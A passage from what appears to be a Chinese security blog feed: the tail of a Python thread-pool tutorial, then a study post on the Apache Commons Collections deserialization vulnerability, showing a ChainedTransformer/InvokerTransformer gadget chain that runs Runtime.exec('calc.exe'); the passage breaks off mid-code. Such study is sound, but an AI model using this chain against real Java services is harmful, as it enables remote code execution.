u'1.9.13']]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># [u'tool-1', u'1.9.13']</span></span><br><span class="line">your_pro = a[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># print your_pro</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># [u'xiaowang', u'xiaoqu', [u'tool-2', u'1.9.23']]</span></span><br><span class="line">tmp = a[<span class="number">1</span>:]</span><br><span class="line"><span class="comment"># print tmp</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">git_callback</span><span class="params">(whole_v, proj_value, name_value)</span>:</span></span><br><span class="line">    <span class="comment"># 如果存在负责人存在</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> type(name_value[<span class="number">0</span>]) <span class="keyword">is</span> unicode:</span><br><span class="line">            <span class="comment"># 对除去列表0个索引的数据（依赖名和版本号）后面的数据进行遍历</span></span><br><span class="line">            <span class="keyword">for</span> i <span class="keyword">in</span> name_value:</span><br><span class="line">                <span class="comment"># 碰到后面的数据是列表的进行回调</span></span><br><span class="line">                <span class="keyword">if</span> type(i) <span class="keyword">is</span> list:</span><br><span class="line">                    tmp_index = whole_v.index(i)+<span class="number">1</span></span><br><span class="line">                    <span class="keyword">return</span> git_callback(whole_v, whole_v[whole_v.index(i)], whole_v[tmp_index:])</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="comment"># 打印依赖、版本号 负责人 开始</span></span><br><span class="line">                    <span class="keyword">print</span> proj_value+i.split()+[<span class="string">'start'</span>]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># 如果负责人后跟的组件这种格式的列表数据为空</span></span><br><span class="line">            <span class="comment"># 也就是只有依赖和版本号列表数据，负责人为空，就打印依赖版本号</span></span><br><span class="line">            ver = proj_value</span><br><span class="line">            owner = name_value</span><br><span class="line">            <span class="keyword">if</span> type(owner[<span class="number">0</span>]) <span class="keyword">is</span> unicode:</span><br><span class="line">                <span class="keyword">return</span> git_callback(whole_v, ver, owner)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">print</span> ver</span><br><span class="line">                <span class="comment"># 这里是为了判断是不是到列表的最后一位</span></span><br><span class="line">                <span class="comment"># 如果是最后一个值，且不是字符串的Unicode，而是列表</span></span><br><span class="line">                <span class="comment"># 就直接打印出项目</span></span><br><span class="line">                <span class="keyword">if</span> whole_v.index(owner[<span class="number">0</span>]) == len(whole_v)<span class="number">-1</span>:</span><br><span class="line">                    <span class="comment"># 打印最后一个值</span></span><br><span class="line">                    <span class="keyword">print</span> whole_v[<span class="number">-1</span>:]</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="comment"># 这里比较绕，打印调试吧...</span></span><br><span class="line">                    new_ver = whole_v[whole_v.index(ver)+<span class="number">1</span>]</span><br><span class="line">                    owner = whole_v[whole_v.index(ver)+<span class="number">2</span>:]</span><br><span class="line">                    <span class="keyword">return</span> git_callback(whole_v, new_ver, owner)</span><br><span class="line">    <span class="keyword">except</span> IndexError <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">print</span> proj_value</span><br><span class="line">        <span class="keyword">print</span> e</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">git_callback(a, your_pro, tmp)</span><br></pre></td></tr></table></figure><p>demo的output:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Boom:git_response pirogue$ python test.py</span><br><span class="line">[<span class="string">u'tool-1'</span>, <span class="string">u'1.9.13'</span>, <span class="string">u'xiaowang'</span>, <span class="string">'start'</span>]</span><br><span class="line">[<span class="string">u'tool-1'</span>, <span class="string">u'1.9.13'</span>, <span class="string">u'xiaoqu'</span>, <span class="string">'start'</span>]</span><br><span class="line">[<span class="string">u'tool-2'</span>, <span class="string">u'1.9.23'</span>]</span><br><span class="line">[<span class="string">u'tool-3'</span>, <span class="string">u'1.9.33'</span>]</span><br><span class="line">[<span class="string">u'tool-4'</span>, <span class="string">u'1.9.43'</span>, <span class="string">u'pi'</span>, <span class="string">'start'</span>]</span><br><span class="line">[<span class="string">u'tool-5'</span>, <span class="string">u'1.9.53'</span>]</span><br><span class="line">list index out of range</span><br></pre></td></tr></table></figure><h2 id="python的多线程"><a href="#python的多线程" class="headerlink" title="python的多线程"></a>python的多线程</h2><blockquote><p>下面的代码是从主程序中，摘取出来的代码片段</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> multiprocessing.dummy <span class="keyword">import</span> Pool <span class="keyword">as</span> ThreadPool</span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断git查询返回的依赖数据格式不唯一的回调</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">git_callback</span><span class="params">(whole_v, proj_value, name_value, git_cookie)</span>:</span></span><br><span class="line">    <span class="comment"># </span></span><br><span class="line">    whole_v = whole_v</span><br><span class="line">    list_git = []</span><br><span class="line">    <span class="keyword">if</span> name_value:</span><br><span class="line">        <span class="comment"># print name_value</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> name_value:</span><br><span class="line">            <span class="comment"># print i</span></span><br><span class="line">            <span class="keyword">if</span> i:</span><br><span class="line">                <span class="keyword">if</span> type(i) <span class="keyword">is</span> list:</span><br><span class="line">                    tmp_index = whole_v.index(i)+<span class="number">1</span></span><br><span class="line">                    <span class="keyword">return</span> git_callback(whole_v, whole_v[whole_v.index(i)], whole_v[tmp_index:], git_cookie)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    git_cookie = str(git_cookie.split()[<span class="number">0</span>])+<span class="string">' '</span>+str(git_cookie.split()[<span class="number">1</span>])</span><br><span class="line">                    list_git.append(tuple(git_cookie.split(<span class="string">"?"</span>)+i.split()))</span><br><span class="line">                    <span class="keyword">print</span> list_git</span><br><span class="line">                    pool = ThreadPool(<span class="number">100</span>)</span><br><span class="line">                    result = pool.map(pool_git, list_git)</span><br><span class="line">                    <span class="keyword">print</span> result</span><br><span class="line">                    pool.close()</span><br><span class="line">                    pool.join()                    </span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">print</span> proj_value</span><br></pre></td></tr></table></figure><p>上面的多线程代码片段是一个回调函数，没有完全根据demo进行改装，有了demo根据需求改起来也不难，多调试就可以了。</p><h2 id="python多线程接收多个参数"><a href="#python多线程接收多个参数" class="headerlink" title="python多线程接收多个参数"></a>python多线程接收多个参数</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from multiprocessing.dummy import Pool as ThreadPool</span><br><span class="line"></span><br><span class="line">pool = ThreadPool(100)</span><br><span class="line">result = pool.map(pool_git, list_git)</span><br><span class="line">print result</span><br><span class="line">pool.close()</span><br><span class="line">pool.join()</span><br></pre></td></tr></table></figure><p>pool_git是你需要多线程调用的功能函数，list_git是pool_git函数需要接收的参数，默认情况下pool_git是一个接收一个参数的函数。<br>但是我们的功能常常设计的逻辑比较复杂，需要在pool_git中传入多个参数，这时list_git就应该给一个多个元组组成的列表。</p><p>stackoverflow上老外给的代码示例：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">multi_run_wrapper</span><span class="params">(args)</span>:</span></span><br><span class="line">   <span class="keyword">return</span> add(*args)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(x,y)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> x+y</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    <span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool</span><br><span class="line">    pool = Pool(<span class="number">4</span>)</span><br><span class="line">    results = pool.map(multi_run_wrapper,[(<span class="number">1</span>,<span class="number">2</span>),(<span class="number">2</span>,<span class="number">3</span>),(<span class="number">3</span>,<span class="number">4</span>)])</span><br><span class="line">    <span class="keyword">print</span> results</span><br></pre></td></tr></table></figure><p>output</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">3</span>, <span class="number">5</span>, <span class="number">7</span>]</span><br></pre></td></tr></table></figure><p>Stack Overflow上更多的答疑方便你更好的理解：<br><a href="https://stackoverflow.com/questions/5442910/python-multiprocessing-pool-map-for-multiple-arguments" target="_blank" rel="noopener">https://stackoverflow.com/questions/5442910/python-multiprocessing-pool-map-for-multiple-arguments</a></p><p>相信聪明的你一定能看得懂~</p><h2 id="多线程与多进程"><a href="#多线程与多进程" class="headerlink" title="多线程与多进程"></a>多线程与多进程</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> multiprocessing.dummy <span class="keyword">import</span> Pool <span class="keyword">as</span> ThreadPool</span><br></pre></td></tr></table></figure><p>多线程进程池，绑定一个CPU核心</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool</span><br></pre></td></tr></table></figure><p>多进程，运行于多个cpu核心</p><p>如果你搞不懂是CPU密集型的任务，还是IO密集型的任务，那就用这个库两条import都写上，然后分别实例化跑一下就知道耗时长短，用法上只是在创建对象上改几个字母就行Pool和ThreadPool的互换。</p><p>老外实例妙趣横生的讲解:《一行代码搞并行》<br><a href="http://chriskiehl.com/article/parallelism-in-one-line/" target="_blank" rel="noopener">http://chriskiehl.com/article/parallelism-in-one-line/</a></p><blockquote><p>学习记录贴,fighting~</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;python回调函数demo&quot;&gt;&lt;a href=&quot;#python回调函数demo&quot; class=&quot;headerlink&quot; title=&quot;python回调函数demo&quot;&gt;&lt;/a&gt;python回调函数demo&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;下面的demo是根据需求写的简单测试脚本&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
      <category term="安全开发" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="Python" scheme="http://pirogue.org/tags/Python/"/>
    
      <category term="多线程" scheme="http://pirogue.org/tags/%E5%A4%9A%E7%BA%BF%E7%A8%8B/"/>
    
      <category term="回调函数" scheme="http://pirogue.org/tags/%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0/"/>
    
  </entry>
  
  <entry>
    <title>Apache Commons Collections反序列化漏洞学习</title>
    <link href="http://pirogue.org/2017/12/22/javaSerialKiller/"/>
    <id>http://pirogue.org/2017/12/22/javaSerialKiller/</id>
    <published>2017-12-21T16:21:14.000Z</published>
    <updated>2017-12-21T16:40:45.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="java序列化与反序列化"><a href="#java序列化与反序列化" class="headerlink" title="java序列化与反序列化"></a>java序列化与反序列化</h2><h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>序列化就是把对象的转换成字节流，便于保存在内存、文件、数据库中（即便于存储或传输）过程；反序列化即逆过程，又字节流还原成对象。<br><img src="/2017/12/22/javaSerialKiller/java-serialize.png" alt="java对象序列化"> </p><h3 id="Java中api实现"><a href="#Java中api实现" class="headerlink" title="Java中api实现"></a>Java中api实现</h3><p>序列化：java.io.ObjectOutputStream类的writeObject()方法可以实现序列化；<br>反序列化：java.io.ObjectInputStream类的readObject()方法用于实现反序列化。</p><p>将字符串对象“中国”进行序列化存储到本地“test.ser”文件，然后再通过反序列化进行恢复打印输出的样例代码：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> serialize;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">import java.io.ObjectOutputStream;</span></span><br><span class="line"><span class="comment">import java.io.ObjectInputStream;</span></span><br><span class="line"><span class="comment">import java.io.FileOutputStream;</span></span><br><span class="line"><span class="comment">import java.io.FileInputStream;</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">javaApiSerialize</span> </span>&#123;</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> Exception</span>&#123;</span><br><span class="line">String obj = <span class="string">"中国"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 将序列化对象写入test.ser文件中</span></span><br><span class="line">FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(<span class="string">"test.ser"</span>);</span><br><span class="line">ObjectOutputStream os = <span class="keyword">new</span> ObjectOutputStream(fos);</span><br><span class="line">os.writeObject(obj);</span><br><span class="line">os.close();</span><br><span class="line">System.out.println(<span class="string">"序列化完成"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从文件test.ser中读取数据</span></span><br><span class="line">FileInputStream fis = <span class="keyword">new</span> FileInputStream(<span class="string">"test.ser"</span>);</span><br><span class="line">ObjectInputStream ois = <span class="keyword">new</span> ObjectInputStream(fis);</span><br><span class="line"><span class="comment">//System.out.println(ois.getClass().getName());</span></span><br><span class="line">System.out.println(ois);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过反序列化恢复对象obj</span></span><br><span class="line">String obj2 = (String)ois.readObject();</span><br><span class="line">System.out.println(obj2);</span><br><span class="line">ois.close();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/22/javaSerialKiller/java-serialize-apires.png" alt="java中api实现反序列化结果"><br><img src="/2017/12/22/javaSerialKiller/java-serialize-filecontent.png" alt="java序列化写入文件内容"></p><h2 id="概念上根本原因"><a href="#概念上根本原因" class="headerlink" title="概念上根本原因"></a>概念上根本原因</h2><p>如果Java应用对用户的输入（序列化过的恶意数据），即不可信数据（如序列化过的命令执行代码）做了反序列化处理，产生的非预期对象的过程中可能带来任意代码执行。</p><h2 id="Collections漏洞原因"><a href="#Collections漏洞原因" class="headerlink" title="Collections漏洞原因"></a>Collections漏洞原因</h2><p>序列化和反序列化函数本身不存在漏洞，而是Collections这个第三方基础库的设计功能过于丰富（设计缺陷），安全研究员在其反序列化过程中发现了可以利用Collections特殊接口通过java语言的反射机制调用任意函数，比如命令执行函数来执行命令。</p><h2 id="漏洞形成基础知识"><a href="#漏洞形成基础知识" class="headerlink" title="漏洞形成基础知识"></a>漏洞形成基础知识</h2><h3 id="java反射机制"><a href="#java反射机制" class="headerlink" title="java反射机制"></a>java反射机制</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">JAVA反射机制</span><br><span class="line">JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。</span><br><span class="line">Java反射机制主要提供了以下功能： 在运行时判断任意一个对象所属的类；在运行时构造任意一个类的对象；在运行时判断任意一个类所具有的成员变量和方法；在运行时调用任意一个对象的方法；生成动态代理。</span><br><span class="line">java反射机制详解及Method.invoke解释：http://blog.csdn.net/mr_tim/article/details/51594717</span><br></pre></td></tr></table></figure><h3 id="被序列化和反序列化的类"><a href="#被序列化和反序列化的类" class="headerlink" title="被序列化和反序列化的类"></a>被序列化和反序列化的类</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">实现Serializable和Externalizable接口的类的对象才能被序列化。</span><br><span class="line">Serializable接口，只是一个标记接口，不包含任何的方法。如果我们想要序列化一个对象，首先要创建某些OutputStream(如FileOutputStream、ByteArrayOutputStream等)，然后将这些OutputStream封装在一个ObjectOutputStream中。这时候，只需要调用writeObject()方法就可以将对象序列化，并将其发送给OutputStream（记住：对象的序列化是基于字节的，不能使用Reader和Writer等基于字符的层次结构）。而饭序列的过程（即将一个序列还原成为一个对象），需要将一个InputStream(如FileInputstream、ByteArrayInputStream等)封装在ObjectInputStream内，然后调用readObject()即可。</span><br></pre></td></tr></table></figure><h2 id="Collections漏洞分析"><a href="#Collections漏洞分析" class="headerlink" title="Collections漏洞分析"></a>Collections漏洞分析</h2><h3 id="Collections介绍"><a href="#Collections介绍" class="headerlink" title="Collections介绍"></a>Collections介绍</h3><p>由于对java序列化/反序列化的需求，开发过程中常使用一些公共库。</p><p>Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。</p><h3 id="漏洞触发过程"><a href="#漏洞触发过程" class="headerlink" title="漏洞触发过程"></a>漏洞触发过程</h3><p>既然是反序列化漏洞，而且我们已经知道反序列化漏洞形成的根本原因是构造一个恶意的序列化rce对象，让序列化rce在反序列化时进行命令执行。</p><p><a name="id1">宽泛解释：</a></p><p>漏洞发现者就在Collectios库中找到一个继承了Serializable接口的而且可以调用命令执行的类(InvokerTransformer)，这时候InvokerTransformer创建出来的对象就是可以序列化的对象了，然后通过另外一个继承了Serializable接口的类（AnnotationInvocationHandler）去接收InvokerTransformer构造好的可序列化的任意代码执行对象，通过ObjectOutputStream将对象输出到文件payload。</p><p>因为这个payload是通过AnnotationInvocationHandler序列化的，当把payload发送到使用了低版本有漏洞的Collections的应用，ObjectInputStream方法会自动识别是使用了AnnotationInvocationHandler类序列化的对象，进而自动通过AnnotationInvocationHandler的readObject()函数对其进行反对其反序列化操作。</p><p>现在我们知道了谁可以构造代码执行，谁负责序列化和反序列化，那为什么会在反序列化时不是正常把命令执行代码反序列化成代码对象，而是执行了命令呢？这里面的触发链条和细节，我们在下面解释。</p><p>简化思路：<br>AnnotationInvocationHandler重写的readObject()在反序列化时优先于原生的readObject()被调用，而重写的readObject()内部有修改Map变量值的操作，readObject()在反序列化时同时修改了变量值时，修改变量这一动作就会触发代码执行。</p><p>为什么修改变量会触发代码执行？</p><p>在TransformedMap是Collectios库把Map的一个封装实现，功能是通过TransformedMap.decorate()把一个Map对象转换成另外一个Map对象。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title">decorate</span><span class="params">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> TransformedMap(map, keyTransformer, valueTransformer);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到decorate函数传入的一个Map对象，Transformer类型的key，Transformer类型的value值。</p><p>Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。代码如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">Transformer</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object input)</span></span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当Map中的任意项的Key或者value被修改，相应的Transformer就会被调用。而这时漏洞的核心InvokerTransformer出现了，它继承了Transformer和Serializable接口，内部通过Java的反射机制可以调用任意函数，只需传入方法名、参数类型和参数。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">InvokerTransformer</span> <span class="keyword">implements</span> <span class="title">Transformer</span>, <span class="title">Serializable</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[] args)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">super</span>();</span><br><span class="line">        iMethodName = methodName;</span><br><span class="line">        iParamTypes = paramTypes;</span><br><span class="line">        iArgs = args;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object input)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (input == <span class="keyword">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Class cls = input.getClass();</span><br><span class="line">            Method method = cls.getMethod(iMethodName, iParamTypes);</span><br><span class="line">            <span class="keyword">return</span> method.invoke(input, iArgs);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchMethodException ex) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> FunctorException(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' does not exist"</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IllegalAccessException ex) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> FunctorException(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' cannot be accessed"</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InvocationTargetException ex) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> FunctorException(<span class="string">"InvokerTransformer: The method '"</span> + iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' threw an exception"</span>, ex);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>若通过它调用Runtime.getRuntime().exec()便可以执行命令，且因继承了Serializable也是易序列化的。重要的是多个Transformer能串联起来，形成ChainedTransformer，而ChainedTransformer正好可以承载Runtime.getRuntime().exec()。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">    Transformer[] transformers = <span class="keyword">new</span> Transformer[] &#123;</span><br><span class="line">        <span class="keyword">new</span> ConstantTransformer(Runtime.class),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            String.class, Class[].class &#125;, <span class="keyword">new</span> Object[] &#123;</span><br><span class="line">            <span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>] &#125;),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            Object.class, Object[].class &#125;, <span class="keyword">new</span> Object[] &#123;</span><br><span class="line">            <span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>] &#125;),</span><br><span class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[] &#123;</span><br><span class="line">            String.class &#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">"calc.exe"</span>&#125;)&#125;;</span><br><span class="line"></span><br><span class="line">    Transformer transformedChain = <span class="keyword">new</span> ChainedTransformer(transformers);</span><br></pre></td></tr></table></figure><p>而上面我们讲到为什么修改Map值，触发代码执行，上面这里便是关键。<br>因为我们构造出了ChainedTransformer承载了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">((Runtime)Runtime.class.getMethod(<span class="string">"getRuntime"</span>,<span class="keyword">null</span>).invoke(<span class="keyword">null</span>,<span class="keyword">null</span>)).exec(<span class="string">"calc.exe"</span>);</span><br></pre></td></tr></table></figure><p>而TransformedMap.decorate()可以把一个Map对象转换成另外一个Map对象，而decorate()的第3个参数传入的就是一个Transformer，我们构造的ChainedTransformer就可以作为第三个参数传入。</p><p>我们先随意定义一个Map对象叫做innerMap，通过TransformedMap.decorate()把它转换成另外一个Map对象，叫做outerMap，而decorate()传入的第三个参数就是我们构造好的ChainedTransformer任意代码触发链。这时候如果后面的操作修改了被转换出来的Map对象outerMap的值，就会触发ChainedTransformer内的一系列InvokerTransformer，造成代码执行。</p><p>下面是我们通过人为通过Map自己内部的方法修改元素的值来达到触发的目的:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> serialize;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Map_Entry</span> </span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception 